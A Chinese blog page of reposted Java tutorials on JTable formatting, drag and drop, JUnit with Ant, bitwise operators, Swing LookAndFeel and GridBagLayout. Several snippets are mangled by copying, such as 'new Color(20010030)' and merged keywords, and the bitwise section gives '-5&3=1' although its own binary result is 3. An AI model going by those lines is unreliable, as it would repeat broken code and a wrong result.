你可以通过为当前JTable的JtableHeader设置一个参照或者调用其setReorderingAllowed()方法,来指定标题的重新排序是否被允许:

1 table.getTableHeader().setReorderingAllowed(false);
类似地,你可以确信列不会因为在列标题之间拖动而改变大小。要达到这个目的,你就要使用setResizingAllowed()方法:
1 table.getTableHeader().setResizingAllowed(false);

选择模式

在缺省状况下,当用户在JTable里选择一个单元格的时候,整个行都被选中了。有多种方法能够让用户自定义选择的方式。利用ListSelectionModel接口,你可以允许用户选择单个或者多个行:

1 table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);

ListSelectionModel有下面这些字段:

    * SINGLE_SELECTION允许一次选择一行。
    * SINGLE_INTERVAL_SELECTION允许选择相邻的一系列行。
    * MULTIPLE_INTERVAL_SELECTION也允许选择相邻的列,但是带有扩展功能。它允许用户使用[Ctrl]键进行多个互不相邻的选择(即选择不相邻的行)。

setCellSelectionEnabled()方法让用户能够同时选择单个单元格或者整个行:

1 table.setCellSelectionEnabled(true);

编辑单元格

我们这个简单的表格允许用户编辑表格里的任何单元格。Listing B列出了一个表格,它允许由程序员来决定哪些单元格能够被编辑。第一步是创建一个自定义的TableModel:

1 class SimpleTableModel extends AbstractTableModel {}
数据被封装在TableModel里,当JTable初始化的时候,自定义的TableModel就被作为一个参数传递给JTable的构造函数而不是那个二维的对象数组:
1 SimpleTableModelmyModel = new  SimpleTableModel();
2 JTable table = new JTable(myModel);
如果想让第二列和第三列也变得可以编辑,并把第一列变成恒定的,那么你就要强制替代TableModel的isCellEditable()方法:
1 public booleanisCellEditable(int  row, intcol){
2 if (col == 0) {return false
;}
3          else          {return true
; }
4 }

简单的表格验证

你需要确保用户只输入整数值,假如说,向第二列(“盒子的数量”这一列)输入值来强制替代setValueAt()方法,并将验证逻辑包括进这个新方法里。首先,你要检查列是否是整数,以及这个列是否只应该包含整数值:

1 if (data[0][col] instanceof Integer && !(value instanceof  Integer))
2 {… } else { data[row][col] = value;}
然后,检查被插入的值是否是个整数。如果它不是的,那么这个字段就不应该被更新,而且应该要显示一条错误信息:
1 try  {
2 data[row][col] = new
 Integer(value.toString());
3 catch
 (NumberFormatException e) {
4 JOptionPane.showMessageDialog(SimpleTable.this
,
5 "Please enter only integer values."
);
6 }

背景颜色

Listing C包含了用于ColorTable.java的代码,它说明了如何向JTable加入颜色。你可以通过强制替代其prepareRenderer()方法来向JTable加入背景颜色:

1 JTable table = new  JTable(data, columnNames){
2    public Component prepareRenderer(TableCellRenderer r, int
 row, intcol){}
3 };
然后,插入决定哪些列应该有颜色以及应该是什么颜色的逻辑:
1 if (col == 2 && ! isCellSelected(row, col)){
2      Color bg = new Color(20010030
);
3 
     c.setBackground(bg);
4 
c.setForeground(Color.white);
5 }
要注意,当你更改单元格背景颜色的时候,你还应该更该单元格里所显示的文本的颜色,让其变得更加易读。图C显示了一个第一列和第二列加上了颜色的JTable。

一切皆在掌握中

我们的例子只是JTable其他部分的基础。通过使用这些工具,你能够快速和轻易地掌控对Java应用程序所生成的表格的格式化,这样就能够让你的用户在进行正常使用的时候不碰到障碍。

摘自:http://www.7dspace.com/doc/21/0601/20061905111047137.htm

posted @ 2008-01-15 14:29 九宝 阅读(2077) | 评论 (0)编辑 收藏

在JAVA中使用拖拽功能(2转)

在JAVA中使用拖拽功能
sun在java2中引入了一些新的方法来帮助实现拖拽功能,这些新的类在java.awt.dnd包中
实现一个D&D操作一般包括三个步骤:
 首先实现一个拖拽源,这个拖拽源和相应的组件是关联起来的
 第二步实现一个拖拽目标,这个目标用来实现拖拽物的接收
 第三步实现一个数据传输对象,该对象封装拖动的数据
  _____________________                                      _____________________
 |                     |                                     |                    |   
 | DragSource Component|                                     |DropTarget Component|
 |_____________________|                                     |____________________|
                   |                                              |
                   |____________Transferable Data_________________|
                   
 Transferable 接口实现出的对象能够保证  DropTarget Component读懂拖拽过来的对象中包含的信息
 如果是在同一个虚拟机中实现拖拽的话,DragSource Component会传递一个引用给DropTarget Component
 但是如果在不同的JVM中或者是在JVM和本地系统之间传递数据的话我们就必须实现一个Transferable对象来传递数据
 Transferable中封装的内容存放到DataFlavors,用户可以通过访问DataFlavors来获取数据
 1。创建可拖拽对象
   一个对象那个如果想作为拖拽源的话,必须和五个对象建立练习,这五个对象分别是:
    * java.awt.dnd.DragSource
    获取DragSource的方法很简单,直接调用DragSource.getDefaultDragSource();就可以得到DragSource对象
    * java.awt.dnd.DragGestureRecognizer
    DragGestureRecognizer类中实现了一些与平台无关的方法,我们如果想在自己的组件上实现拖拽的话只要调用createDefaultDragGestureRecognizer()方法就可以了
    该方法接收三个参数,建立组件和拖拽动作之间的关系
    * java.awt.dnd.DragGestureListener
    当建立了组件和拖拽动作之间的联系后,如果用户执行了拖拽操作,组件将发送一个消息给DragGestureListener监听器
    DragGestureListener监听器接下来会发送一个startDrag()消息给拖拽源对象,告诉组件应该执行拖拽的初始化操作了
    拖拽源会产生一个DragSourceContext对象来监听动作的状态,这个监听过程是通过监听本地方法DragSourceContextPeer来实现的
    * java.awt.datatransfer.Transferable
   
    * java.awt.dnd.DragSourceListener
    DragSourceListener接口负责当鼠标拖拽对象经过组件时的可视化处理, DragSourceListener接口的显示结果只是暂时改变组件的外观
    同时他提供一个feedback,当用户的拖拽操作完成之后会收到一个dragDropEnd的消息,我们可以在这个函数中执行相应的操作
    再来回顾一下拖拽源的建立过程
    首先、 DragGestureRecognizer 确认一个拖拽操作,同时告知 DragGestureListener.

    其次、 Assuming the actions and/or flavors are OK, DragGestureListener asks DragSource to startDrag().

    第三、 DragSource creates a DragSourceContext and a DragSourceContextPeer. The DragSourceContext adds itself as a DragSourceListener to the DragSourceContextPeer.

    第四、 DragSourceContextPeer receives state notifications (component entered/exited/is over) from the native system and delegates them to the DragSourceContext.

    第五、 The DragSourceContext notifies the DragSourceListener, which provides drag over feedback (if the DropTargetListener accepts the action). Typical feedback includes asking the DragSourceContext to change the cursor.

    最后、 When the drop is complete, the DragSourceListener receives a dragDropEnd notification message

2。创建droppable Component
   创建一个 droppable Component必须和下面两个对象发生关联  
    * java.awt.dnd.DropTarget
    DropTarget构造函数使DropTarget 和 DropTargetListener objects发生关联
    Droptarget对象提供 setComponent 和addDropTargetListener 两个方法
   
    * java.awt.dnd.DropTargetListener
    The DropTargetListener needs an association with the Component so that the Component can notify the DropTargetListener to display "drag under" effects during the operation. This listener, which can be conveniently created as an inner class, transfers the data when the drop occurs. Warning: The Component itself shouldn't be the listener, since this implies its availability for use as some other Component's listener.
 




下面的例子演示了一个从树中拖拽一个节点到文本域中

package appletandservlet;

import java.awt.*;

import javax.swing.*;
import com.borland.jbcl.layout.XYLayout;
import com.borland.jbcl.layout.*;
import java.awt.dnd.*;
import java.awt.datatransfer.*;
import java.io.*;
import javax.swing.tree.*;

public class DragAndDrop extends JFrame {

    XYLayout xYLayout1 = new XYLayout();
    JScrollPane jScrollPane1 = new JScrollPane();
    JTextArea jTextArea1 = new JTextArea();

    public DragAndDrop() {
        try {
            jbInit();
        } catch (Exception exception) {
            exception.printStackTrace();
        }
        getContentPane().setLayout(xYLayout1);


        jScrollPane1.getViewport().setBackground(new Color(105, 38, 125));
        jTextArea1.setBackground(Color.orange);
        jTextArea1.setToolTipText("");
        JTree jtr = new JTree();
        jtr.setBackground(Color.BLUE);
        jScrollPane1.getViewport().add(jtr);
        this.getContentPane().add(jTextArea1,
                                  new XYConstraints(238, 42, 140, 248));
        this.getContentPane().add(jScrollPane1,
                                  new XYConstraints(16, 42, 217, 249));

        DragSource dragSource = DragSource.getDefaultDragSource(); //创建拖拽源
        dragSource.createDefaultDragGestureRecognizer(jtr,
                DnDConstants.ACTION_COPY_OR_MOVE,
                new DragAndDropDragGestureListener()); //建立拖拽源和事件的联系
      DropTarget dropTarget = new DropTarget(jTextArea1,
            new DragAndDropDropTargetListener());

    }

    private void jbInit() throws Exception {

    }

    public static void main(String[] args) {

        DragAndDrop dad = new DragAndDrop();
        dad.setTitle("拖拽演示");
        dad.setSize(400, 300);
        dad.setVisible(true);

    }
}


class DragAndDropDragGestureListener implements DragGestureListener {
    public void dragGestureRecognized(DragGestureEvent dge) {
        //将数据存储到Transferable中,然后通知组件开始调用startDrag()初始化
        JTree tree = (JTree) dge.getComponent();
      TreePath path = tree.getSelectionPath();
       if(path!=null){
           DefaultMutableTreeNode selection = (DefaultMutableTreeNode) path
            .getLastPathComponent();
           DragAndDropTransferable dragAndDropTransferable = new
                   DragAndDropTransferable(selection);
           dge.startDrag(DragSource.DefaultCopyDrop, dragAndDropTransferable, new DragAndDropDragSourceListener());
       }
    }


}


class DragAndDropTransferable implements Transferable {
    private DefaultMutableTreeNode treeNode;
    DragAndDropTransferable(DefaultMutableTreeNode treeNode) {
        this.treeNode = treeNode;
    }
    static DataFlavor flavors[] = {DataFlavor.stringFlavor};
    public DataFlavor[] getTransferDataFlavors() {
        return flavors;
    }

    public boolean isDataFlavorSupported(DataFlavor flavor) {
        if(treeNode.getChildCount()==0){
         return true;
        }
        return false;
    }

    public Object getTransferData(DataFlavor flavor) throws
            UnsupportedFlavorException, IOException {

      return treeNode;
   
    }


}


 class DragAndDropDragSourceListener implements DragSourceListener {
  public void dragDropEnd(DragSourceDropEvent dragSourceDropEvent) {
    if (dragSourceDropEvent.getDropSuccess()) {
        //拖拽动作结束的时候打印出移动节点的字符串
      int dropAction = dragSourceDropEvent.getDropAction();
      if (dropAction == DnDConstants.ACTION_MOVE) {
        System.out.println("MOVE: remove node");
      }
    }
  }

  public void dragEnter(DragSourceDragEvent dragSourceDragEvent) {
    DragSourceContext context = dragSourceDragEvent
        .getDragSourceContext();
    int dropAction = dragSourceDragEvent.getDropAction();
    if ((dropAction & DnDConstants.ACTION_COPY) != 0) {
      context.setCursor(DragSource.DefaultCopyDrop);
    } else if ((dropAction & DnDConstants.ACTION_MOVE) != 0) {
      context.setCursor(DragSource.DefaultMoveDrop);
    } else {
      context.setCursor(DragSource.DefaultCopyNoDrop);
    }
  }

  public void dragExit(DragSourceEvent dragSourceEvent) {
  }

  public void dragOver(DragSourceDragEvent dragSourceDragEvent) {
  }

  public void dropActionChanged(DragSourceDragEvent dragSourceDragEvent) {
  }
}
class DragAndDropDropTargetListener implements DropTargetListener{
    public void dragEnter(DropTargetDragEvent dtde){
   
    }
    public void dragOver(DropTargetDragEvent dtde){
    }
    public void dropActionChanged(DropTargetDragEvent dtde){
    }
    public void dragExit(DropTargetEvent dte){
    }
    public void drop(DropTargetDropEvent dtde){
       Transferable tr=dtde.getTransferable();//使用该函数从Transferable对象中获取有用的数据
       String s="";
        try {
            if(tr.isDataFlavorSupported(DataFlavor.stringFlavor)){
                s = tr.getTransferData(DataFlavor.stringFlavor).toString();
            }
        } catch (IOException ex) {
        } catch (UnsupportedFlavorException ex) {
        }
        System.out.println(s);
        DropTarget c=(DropTarget)dtde.getSource();
        JTextArea d=(JTextArea)c.getComponent();
        if(s!=null&&s!=""){
            d.append(s + "\n");
        }
    }


}

posted @ 2008-01-10 14:16 九宝 阅读(2461) | 评论 (2)编辑 收藏

Java中的Drag and Drop详解与代码示例 (转)

     摘要: 通过两种方法实现Drag and Drop:  1.比较初级的D&D:只利用java.awt.datatransfer.*中的类实现.  2.高级D&D: 利用javax.awt.dnd.*中的类实现. 比较初级D&D:只利用java.awt.datatransfer.*中的类实现.  这种方法只支持对JComponent的拖拽. &...  阅读全文

posted @ 2008-01-10 14:12 九宝 阅读(835) | 评论 (0)编辑 收藏

单元测试(Unit Test)(转)

B.1 单元测试(Unit Test)

一个单元(Unit)是指一个可独立进行的工作,独立进行指的是这个工作不受前一次或接下来的工作的结果影响。简单地说,就是不与程序运行时的上下文(Context)发生关系。

如果是在Java程序中,具体来说一个单元可以是指一个方法(Method)。这个方法不依赖于前一次运行的结果,也不牵涉到后一次的运行结果。

举例来说,下面这个程序的gcd()方法可视为一个单元:

Ü MathTool.java

package onlyfun.caterpillar;

public class MathTool {

    public static int gcd(int num1, int num2) {

        int r = 0;

        while(num2 != 0) {

            r = num1 % num2;

            num1 = num2;

            num2 = r;

        }

        return num1;

    }

}

下面的gcd()方法不可视为一个单元,要完成gcd的计算,必须调用setNum1()setNum2()gcd() 3个方法。

Ü MathFoo.java

package onlyfun.caterpillar;

public class MathFoo {

    private static int num1;

    private static int num2;

    public static void setNum1(int n) {

        num1 = n;

    }

    public static void setNum2(int n) {

        num2 = n;

    }

    public static int gcd() {

        int r = 0;

        while(num2 != 0) {

            r = num1 % num2;

            num1 = num2;

            num2 = r;

        }

        return num1;

    }

}

然而要完全使用一个方法来完成一个单元操作在实现上是有困难的,所以单元也可广义解释为数个方法的集合。这数个方法组合为一个单元操作,目的是完成一个任务。

不过设计时仍优先考虑将一个公开的方法设计为单元,辅助的方法则使用设定为私用,尽量不用数个公开的方法来完成一件工作,以保持接口简洁与单元边界清晰。将工作以一个单元进行设计,这使得单元可以重用,并且也使得单元可以进行测试,进而增加类的可重用性。

单元测试指的是对每一个工作单元进行测试,了解其运行结果是否符合我们的要求。例如当编写完MathTool类之后,也许会这么写一个小小的测试程序:

Ü MathToolTest.java

package test.onlyfun.caterpillar;

import onlyfun.caterpillar.MathTool;

public class MathToolTest {

    public static void main(String[] args) {

        if(MathTool.gcd(10, 5) == 5) {

            System.out.println("GCD Test OK!");

        }

        else {

            System.out.println("GCD Test Fail!");

        }

    }

}

在文字模式下使用文字信息显示测试结果,这个动作是开发人员经常作的事情,然而您必须一行一行看着测试程序的输出结果,以了解测试是否成功。另一方面,测试程序本身也是一个程序,在更复杂的测试中,也许会遇到测试程序本身出错,而导致无法验证结果的情况。

JUnit是一个测试框架,通过它所提供的工具,可以减少编写错误的测试程序的机会。另一方面,可以有更好的方法来检验测试结果,而不是看着一长串输出的文字来检验测试是否成功。JUnit测试框架让测试的进行更有效率且更具可靠性。

B.2 JUnit设置

JUnit最初是由Erich GammaKent Beck编写,为单元测试的支持框架,用来编写与执行重复性的测试。它包括以下特性:

Ü   对预期结果作判断

Ü   提供测试装备的生成与销毁

Ü   易于组织与执行测试

Ü   图形与文字接口的测试器

要设定JUnit,可先到 JUnit官方网站(http://junit.org/)下载JUnitzip文件,下载后解开压缩文件,其中会含有junit.jar文件,将这个文件复制到所要的数据夹中,然后设定Classpath指向junit.jar。例如:

set classpath=%classpath%;YOUR_JUNIT_DIR\junit.jar

如果是Windows 2000/XP,可以在环境变量中设定Classpath变量(可参考附录A中的Classpath设置介绍)

B.3 第一个JUnit测试

要对程序进行测试,首先要设计测试案例(Test Case)。一个测试案例是对程序给予假定条件,然后运行程序并看看在给定的条件下,程序的运行结果是否符合要求。

JUnit下,可以继承TestCase来编写测试案例,并定义测试方法,每一个测试方法是以testXXX()来命名。一个例子如下所示:

 

Ü MathToolUnitTest.java

package test.onlyfun.caterpillar;

 

import onlyfun.caterpillar.MathTool;

import junit.framework.TestCase;

 

public class MathToolUnitTest extends TestCase {

    public void testGcd() {

        assertEquals(5, MathTool.gcd(10, 5));

    }

   

    public static void main(String[] args) {

        junit.textui.TestRunner.run(MathToolUnitTest.class);

    }

}

assertEquals()方法用来断定您的预期值与单元方法实际的返回结果是否相同,如果预期值与返回的结果不同则丢出异常,TestRunner会捕捉异常,并提取其中的相关信息以报告测试结果。这里使用的是文字模式的TestRunner

接下来根据测试案例编写实际的程序,首先试着让测试案例能通过编译:

package onlyfun.caterpillar;
 
public class MathTool {
    public static int gcd(int num1, int num2) { 
        return 0;
    }
}

编译完MathTool.java并用javac来编译它。在编译完成之后,接着运行测试案例,会得到以下的结果:

.F
Time: 0
There was 1 failure:
1) testGcd(test.onlyfun.caterpillar.MathToolUnitTest)junit.framework.AssertionFa
iledError: expected:<5> but was:<0>
...
FAILURES!!!
Tests run: 1,  Failures: 1,  Errors: 0

由于MathTool中并没有编写什么实际的逻辑,所以测试失败。在测试驱动中,测试案例所报告的结果通常是以测试失败作为开始,您的挑战就是要一步步消除这些失败的信息。接下来根据测试案例,完成所设计的程序:

Ü MathTool.java

package onlyfun.caterpillar;

 

public class MathTool {

    public static int gcd(int num1, int num2) {

        int r = 0;

        while(num2 != 0) {

            r = num1 % num2;

            num1 = num2;

            num2 = r;

        }

        return num1;

    }

}

再次运行测试案例,会得到以下的结果,通过最后的OK信息,知道测试已经成功:

.Time: 0
 
OK (1 test)

不一定要在main()中指定TestRunner,而可以直接启动一个TestRunner,并指定测试案例类(继承TestCase的类)。例如启动一个Swing窗口的测试结果画面:

java junit.swingui.TestRunner test.onlyfun.caterpillar.MathToolUnitTest

执行的结果画面如图B-1所示。

Swing窗口的测试结果显示中,如果中间的横棒是显示绿色,表示所有的测试都已经成功,如果中间的横棒显示红色,表示测试失败。JUnit的名言Keep the bar green to keep the code clean,意思是保持绿色横棒以保证测试成功。

也可以指定文字模式的测试结果。例如:

java junit.textui.TestRunner test.onlyfun.caterpillar.MathToolUnitTest

B-1  JUnitSwing窗口测试结果

B.4 自动构建与测试

Ant可以进行自动化构建,而JUnit可以进行自动化测试,Ant可以与JUnit结合,使得自动化的构建与测试变得可行。

如果要让Ant能支持JUnit,建议直接将JUnitjunit.jar放置在Antlib目录,并记得改变Classpath中原先有关junit.jar的设定。例如将Classpath重新指向%ANT_HOME%\lib\junit.jar(假设已经如附录A中设置了ant_home的环境变量)。虽然也有其他的方式可以设定,但这是最快也是最简单的方法。

Ant使用<junit>标签来设定JUnit测试,下面是一个简单的例子:

 

<?xml version="1.0"?>

<project name="autoBuildTest" default="test">

    <target name="setProperties">

        <property name="src.dir" value="src"/>

        <property name="classes.dir" value="classes"/>

    </target>

 

    <target name="prepareDir" depends="setProperties">

        <delete dir="${classes.dir}"/>

        <mkdir dir="${classes.dir}"/>

    </target>

 

    <target name="compile" depends="prepareDir">

        <javac srcdir="${src.dir}" destdir="${classes.dir}"/>

    </target>

 

    <target name="test" depends="compile">

        <junit printsummary="yes">

            <test

               name="test.onlyfun.caterpillar.MathToolUnitTest"/>

            <classpath>

                <pathelement location="${classes.dir}"/>

            </classpath>

        </junit>

    </target>

</project>

printsummary属性会将测试的结果简单地显示出来,<test>name属性是设定所要进行测试的测试案例类。Ant构建与调用JUnit进行测试的信息如下:

C:\workspace\B>ant
Buildfile: build.xml
 
setProperties:
 
prepareDir:
    [mkdir] Created dir: C:\workspace\B\classes
 
compile:
    [javac] Compiling 4 source files to C:\workspace\B\classes
 
test:
    [junit] Running test.onlyfun.caterpillar.MathToolUnitTest
    [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 0 sec
 
BUILD SUCCESSFUL
Total time: 1 second

B.5 自动生成测试报告

接上一个主题,可以将JUnit的测试过程在Ant构建过程中显示出来,只要加入< formatter>标签设定即可:

<?xml version="1.0"?>
<project name="autoBuildTest" default="test">
    ...
    <target name="test" depends="compile"> 
        <junit printsummary="yes"> 
            <formatter type="plain" usefile="false"/>
            <test 
               name="test.onlyfun.caterpillar.MathToolUnitTest"/> 
            <classpath> 
                <pathelement location="${classes.dir}"/> 
            </classpath> 
        </junit> 
    </target>
</project>

Ant构建与调用JUnit进行测试的信息如下:

C:\workspace\B>ant
Buildfile: build.xml
 
setProperties:
 
prepareDir:
   [delete] Deleting directory C:\workspace\B\classes
    [mkdir] Created dir: C:\workspace\B\classes
 
compile:
    [javac] Compiling 4 source files to C:\workspace\B\classes
 
test:
    [junit] Running test.onlyfun.caterpillar.MathToolUnitTest
    [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 0.016 sec
    [junit] Testsuite: test.onlyfun.caterpillar.MathToolUnitTest
    [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 0.016 sec
 
    [junit] Testcase: testGcd took 0.016 sec
 
BUILD SUCCESSFUL
Total time: 2 seconds

usefile属性设定为true时,会自动将产生的结果保存在文件中,默认是TEST-*.txt。其中*是测试案例类名称。就上例而言,所产生的报告文件内容如下:

Testsuite: test.onlyfun.caterpillar.MathToolUnitTest
Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 0 sec
 
Testcase: testGcd took 0 sec

<formatter>标签还可以设定将测试的结果,以XML文件保存下来。一个编写的例子如下,它将测试的结果保存至report目录中, 文件名称为TEST-*.xml*是测试案例类名称:

<?xml version="1.0"?>
    ...
    <target name="test" depends="compile"> 
        <junit printsummary="yes"> 
            <formatter type="xml"/>
            <test 
               name="test.onlyfun.caterpillar.MathToolUnitTest"/> 
            <classpath> 
                <pathelement location="${classes.dir}"/> 
            </classpath> 
        </junit> 
    </target>
</project>

也可以将测试结果所产生的XML文件转换为HTML文件,使用Ant可以直接完成这个工作。<junitreport>标签使用 XSLTXML文件转换为HTML文件。下面的例子将前面的说明作个总结,以完整呈现编写的实例:

Ü build.xml

<?xml version="1.0"?>

<project name="autoBuildTest" default="report">

    <target name="setProperties">

        <property name="src.dir" value="src"/>

        <property name="classes.dir" value="classes"/>

        <property name="report.dir" value="report"/>       

    </target>

 

    <target name="prepareDir" depends="setProperties">

        <delete dir="${report.dir}"/>

        <delete dir="${classes.dir}"/>

        <mkdir dir="${report.dir}"/>

        <mkdir dir="${classes.dir}"/>

    </target>

 

    <target name="compile" depends="prepareDir">

        <javac srcdir="${src.dir}" destdir="${classes.dir}"/>

    </target> 

 

    <target name="test" depends="compile">

        <junit printsummary="yes">

            <formatter type="xml"/>

            <test

               name="test.onlyfun.caterpillar.MathToolUnitTest"/>

            <classpath>

                <pathelement location="${classes.dir}"/>

            </classpath>

        </junit>

    </target>

   

    <target name="report" depends="test">

        <junitreport todir="${report.dir}">

            <fileset dir="${report.dir}">

                <include name="TEST-*.xml"/>

            </fileset>

            <report

                format="frames" todir="${report.dir}/html"/>

        </junitreport>

    </target>   

</project>

<include>设定搜寻TEST-*.xml文件,将之转换为HTML文件,而最后的结果被设定保存至report/html/目录下,在format属性中设定了HTML文件具有边框(Frame),如果不设定这个属性,则HTML报告文件就不具有边框。在运行Ant之后所产生的 HTML测试结果报告文件如图B-2所示。

B-2  Ant结合JUnit所自动产生的测试报告

附录B只是对JUnit的一些简介,如果需要更多有关JUnit的资料,可以参考以下的网址:

http://caterpillar.onlyfun.net/Gossip/JUnit/JUnitGossip.htm

posted @ 2008-01-08 10:03 九宝 阅读(511) | 评论 (0)编辑 收藏

Java 中的位运算 (转)

移位运算符

    包括:
    “>> 右移”;“<< 左移”;“>>> 无符号右移”

例子:
-5>>3=-1
1111 1111 1111 1111 1111 1111 1111 1011
1111 1111 1111 1111 1111 1111 1111 1111
其结果与 Math.floor((double)-5/(2*2*2)) 完全相同。

-5<<3=-40
1111 1111 1111 1111 1111 1111 1111 1011
1111 1111 1111 1111 1111 1111 1101 1000
其结果与 -5*2*2*2 完全相同。

5>>3=0
0000 0000 0000 0000 0000 0000 0000 0101
0000 0000 0000 0000 0000 0000 0000 0000
其结果与 5/(2*2*2) 完全相同。

5<<3=40
0000 0000 0000 0000 0000 0000 0000 0101
0000 0000 0000 0000 0000 0000 0010 1000
其结果与 5*2*2*2 完全相同。

-5>>>3=536870911     
1111 1111 1111 1111 1111 1111 1111 1011
0001 1111 1111 1111 1111 1111 1111 1111

无论正数、负数,它们的右移、左移、无符号右移 32 位都是其本身,比如 -5<<32=-5、-5>>32=-5、-5>>>32=-5。
一个有趣的现象是,把 1 左移 31 位再右移 31 位,其结果为 -1。
0000 0000 0000 0000 0000 0000 0000 0001
1000 0000 0000 0000 0000 0000 0000 0000
1111 1111 1111 1111 1111 1111 1111 1111


位逻辑运算符

    包括:
    & 与;| 或;~ 非(也叫做求反);^ 异或

    “& 与”、“| 或”、“~ 非”是基本逻辑运算,由此可以演变出“与非”、“或非”、“与或非”复合逻辑运算。“^ 异或”是一种特殊的逻辑运算,对它求反可以得到“同或”,所以“同或”逻辑也叫“异或非”逻辑。

例子:
5&3=1
0000 0000 0000 0000 0000 0000 0000 0101
0000 0000 0000 0000 0000 0000 0000 0011
0000 0000 0000 0000 0000 0000 0000 0001

-5&3=1
1111 1111 1111 1111 1111 1111 1111 1011
0000 0000 0000 0000 0000 0000 0000 0011
0000 0000 0000 0000 0000 0000 0000 0011

5|3=7
0000 0000 0000 0000 0000 0000 0000 0101
0000 0000 0000 0000 0000 0000 0000 0011
0000 0000 0000 0000 0000 0000 0000 0111

-5|3=-5
1111 1111 1111 1111 1111 1111 1111 1011
0000 0000 0000 0000 0000 0000 0000 0011
1111 1111 1111 1111 1111 1111 1111 1011

~5=-6
0000 0000 0000 0000 0000 0000 0000 0101
1111 1111 1111 1111 1111 1111 1111 1010

~-5=4
1111 1111 1111 1111 1111 1111 1111 1011
0000 0000 0000 0000 0000 0000 0000 0100

5^3=6
0000 0000 0000 0000 0000 0000 0000 0101
0000 0000 0000 0000 0000 0000 0000 0011
0000 0000 0000 0000 0000 0000 0000 0110

-5^3=-8
1111 1111 1111 1111 1111 1111 1111 1011
0000 0000 0000 0000 0000 0000 0000 0011
1111 1111 1111 1111 1111 1111 1111 1000



请注意!引用、转贴本文应注明原作者:Rosen Jiang 以及出处:http://www.blogjava.net/rosen

posted @ 2008-01-08 09:56 九宝 阅读(172) | 评论 (0)编辑 收藏

改变Swing的LookAndFeel (转)

要改变Swing默认的LookAndFeel,网上都说用UIManager下的一个静态方法setLookAndFeel即可,但是我用了这个方法有半年的时间也没有看到真正的WindowsLookAndFeel。昨天网上无意中才看到正解,要设置LookAndFeel,不仅要调用上面提到的方法,还要调用一个SwingUtilities类中的静态方法updateComponentTreeUI。即

try{
    javax.swing.UIManager.setLookAndFeel(new com.sun.java.swing.plaf.windows.WindowsLookAndFeel());
    javax.swing.SwingUtilities.updateComponentTreeUI(this);
}catch(javax.swing.UnsupportedLookAndFeelException e){
    e.printStackTrace();
}


后者在运行时对整个ComponentTree进行更新,应用当前的UI设置。


public static void setLookAndFeel(String className, java.awt.Component c) {
    try {
      UIManager.setLookAndFeel(className);
      SwingUtilities.updateComponentTreeUI(c);//注意这行
    }
    catch (Exception ex) {
      ex.printStackTrace();
      JOptionPane.showMessageDialog(null,
                                    "不好意思,setLookAndFeel时出错了:( Errormsg:" + ex,
                                    "setLookAndFeel",
                                    JOptionPane.INFORMATION_MESSAGE);
    }

posted @ 2007-11-15 16:42 九宝 阅读(1026) | 评论 (0)编辑 收藏

深入学习GridBagLayout(转)

    GridBagLayout 不是用于简单的示例程序界面。使用GridBagLayout搭建界面就像是在起居室中搭脚手架清除画钩一样。

对于简单的程序使用Boborderlayout和Gridlayout就绰绰有余了, 但如果要把程序提到实际应用上你就得考虑使用GridBagLayout。当然, 做复杂的应用程序时,一开始就使用GridBagLayout就会更有效率。

一旦你决定使用GridBagLayout,接下来一步便是要找一些纸和铅笔,只有你准确知道你的界面看上去需要成什么样子,你就可以敲键盘。这就是说,你应该在编码之前进行妥善规划。

    下面将介绍一个很小的应用程序来帮助我们学习GridBagLayout,这个例子是从一个Flickr RSS fead中显示一系列照片, 最后的界面就像下面这样:

JAVA:深入学习GridBagLayout

下面的是这个界面的一个原始草图:

JAVA:深入学习GridBagLayout

正如你所看到的,最终的结果看上去和计划的想法完全一样。

    你应该能看到在草图里有一些线,这些线是用来把总界面分成若干行和列的,这样你就很清楚每一个组件放置的格子位置。这就是GridBagLayout里"格"的那一部分,而图上的数字就是格的号码。

在某种意义上说, 我们可以把GridBagLayout想象成为早些年的HTML3和4,它们都是基于表的布局,Grid的概念就类似rowspan和colspan的意思,只不过换了个名字罢了。

随着我们的界面和表格的设置完成,是时候该进行界面布局并开始写代码了。

工作过程

这一节我假定你已经了解了基本的窗口和组件创建知识。

通过这篇文章我们最终能在一个frame中布局组件,我们将在以后的文章对界面进行改进使它更适用。因此,为了了解这整个工作的过程,我们列出了所有的目标代码。

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class GridBagWindow extends JFrame {
private JButton searchBtn;
private JComboBox modeCombo;
private JLabel tagLbl;
private JLabel tagModeLbl;
private JLabel previewLbl;
private JTable resTable;
private JTextField tagTxt;
public GridBagWindow() {
Container contentPane = getContentPane();
GridBagLayout gridbag = new GridBagLayout();
contentPane.setLayout(gridbag);
GridBagConstraints c = new GridBagConstraints();
//setting a default constraint value
c.fill =GridBagConstraints.HORIZONTAL;
tagLbl = new JLabel("Tags");
c.gridx = 0; //x grid position
c.gridy = 0; //y grid position
gridbag.setConstraints(tagLbl, c); //associate the label with a constraint object
contentPane.add(tagLbl); //add it to content pane
tagModeLbl = new JLabel("Tag Mode");
c.gridx = 0;
c.gridy = 1;
gridbag.setConstraints(tagModeLbl, c);
contentPane.add(tagModeLbl);
tagTxt = new JTextField("plinth");
c.gridx = 1;
c.gridy = 0;
c.gridwidth = 2;
gridbag.setConstraints(tagTxt, c);
contentPane.add(tagTxt);
String[] options = {"all", "any"};
modeCombo = new JComboBox(options);
c.gridx = 1;
c.gridy = 1;
c.gridwidth = 1;
gridbag.setConstraints(modeCombo, c);
contentPane.add(modeCombo);
searchBtn = new JButton("Search");
c.gridx = 1;
c.gridy = 2;
gridbag.setConstraints(searchBtn, c);
contentPane.add(searchBtn);
resTable = new JTable(5,3);
c.gridx = 0;
c.gridy = 3;
c.gridwidth = 3;
gridbag.setConstraints(resTable, c);
contentPane.add(resTable);
previewLbl = new JLabel("Preview goes here");
c.gridx = 0;
c.gridy = 4;
gridbag.setConstraints(previewLbl, c);
contentPane.add(previewLbl);
addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});
}
public static void main(String args[]) {
GridBagWindow window = new GridBagWindow();
window.setTitle("GridBagWindow");
window.pack();
window.setVisible(true);
}
}

 

构造方法前的代码都不是很特殊,都是一些相当标准的import和变量定义。但是进入构造方法后,事情就变得有趣了。

Container contentPane = getContentPane();

GridBagLayout gridbag = new GridBagLayout();

contentPane.setLayout(gridbag);

